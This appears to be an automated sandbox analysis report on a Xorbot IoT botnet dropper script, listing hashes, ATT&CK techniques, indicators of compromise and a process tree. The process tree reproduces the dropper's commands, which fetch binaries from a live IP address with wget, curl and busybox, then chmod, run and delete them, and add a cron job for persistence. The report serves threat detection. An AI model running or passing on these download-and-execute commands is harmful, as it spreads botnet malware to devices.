xorbot | e19c203e6db00e788c2da37cc4f226dcf41dc2e1c50486cbe0459d46badb5423

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/01/2025, 02:37

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General

Target
bins.sh
Size 10KB
Sample250128-c35yrsvmal
SHA256 e19c203e6db00e788c2da37cc4f226dcf41dc2e1c50486cbe0459d46badb5423
MD5 83dd42f7929b2d1c8d8f95b0093ab654
SHA1 f8fa1a87c56730167e137a26e3458900eabf4e1e
SHA512 d5216f2aa707d12ee2eadd4c325a2a84647ba05421c50b97102f257ef9e41707be6852040a76ca4a21aff22d576887e8bc46bedca499d747cdafda8620415c9e
SSDEEP 192:JeglAq/bGrq2qCquqVqlqUsg8MDrrOC9MMoBJrMMoBFg8MDrjrCQ/bWq2qCquqV5:1lAq/bGbrOCQVr/b3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2111) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
695	chmod
736	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	697	bins.sh
/tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc	737	bins.sh

Renames itself 1 IoCs

pid	Process
738	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.OB5fug	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/580/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/759/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/864/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/908/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/915/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/937/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/797/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/906/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/919/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/944/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/968/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/949/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/982/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/995/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/279/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/323/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/801/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/837/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/929/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/838/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/847/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/860/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/862/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/893/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/896/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/43/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/916/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/986/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/828/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/965/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/983/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/996/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/313/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/600/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/601/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/767/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/967/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/114/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/719/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/816/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/898/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/922/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/930/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/647/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/768/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/806/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/872/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/900/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/935/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/941/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/6/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/849/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/880/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/894/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/946/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/822/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/901/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/971/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/1/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/15/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/157/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/199/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
File opened for reading	/proc/774/cmdline	yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	wget
File opened for modification	/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	curl
File opened for modification	/tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc	busybox
File opened for modification	/tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc	wget
File opened for modification	/tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc	curl
File opened for modification	/tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod 777 KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  ./KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  PID:697
- /bin/rm
  rm KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
  2⤵
  PID:699
- /usr/bin/wget
  wget http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  - Writes file to tmp directory
  PID:701
- /usr/bin/curl
  curl -O http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://94.154.35.94/bins/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod 777 yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  ./yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:737
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:739
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:740
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:742
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:744
- /bin/rm
  rm yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
  2⤵
  PID:758
- /usr/bin/wget
  wget http://94.154.35.94/bins/2tGNlFpYfxlWbdjjlAboqWxvxzDiyDiSxu
  2⤵
  PID:761

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc

Path /tmp/KJiE47qTqoI9Cfkq7n32F7YlC8r4FJDxNc
Size 112KB
SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
MD5 05d7857dcead18bbd86d2935f591873c
SHA1 34d18f41ef35f93d5364ce3e24d74730a4e91985
SHA512 d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
SSDEEP 3072:o0pHqiUxCoypP1Xyukbt56UFQ71SMSmUHM5RmNtbm9c:REOtiukxc3SmUHM5Rm/bm9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc

Path /tmp/yaBQmtWXCoHK0bC2tusiiage5an7u7DtMc
Size 141KB
SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
MD5 3ca8decdb1e52c423c521bfff02ac200
SHA1 8621ecd6807109b8541912ad9e134f6fb49bfd48
SHA512 b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
SSDEEP 3072:h2mQRJQqJ3OuMP2Q72katWmUd4jEJ/SL06gO0NmmytHHQRkLCalY:h2Y17zaPnEJ/SL16mmytHHQRkLplY
MD5 SHA1 SHA512 SSDEEP

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tmp.OB5fug

Path /var/spool/cron/crontabs/tmp.OB5fug
Size 210B
SHA256 a6c84a191fc9f396dcb1405c690288e67c0e0fc8879d849c6ff696ccbddb8482
MD5 c2054dd10b2e12f0d441f25a46116a4e
SHA1 b19b4d7bd4df622dabbda939f6b5b88c52236165
SHA512 4b1b62bc363cd04a05e232c11cdad9403dd70170f5c77ba4ca7dc6c2b395d62ccced75233f505b8fcdcf8d30c2a4ff43e15bf9dc71b0b8985a5b92916b0f6b81
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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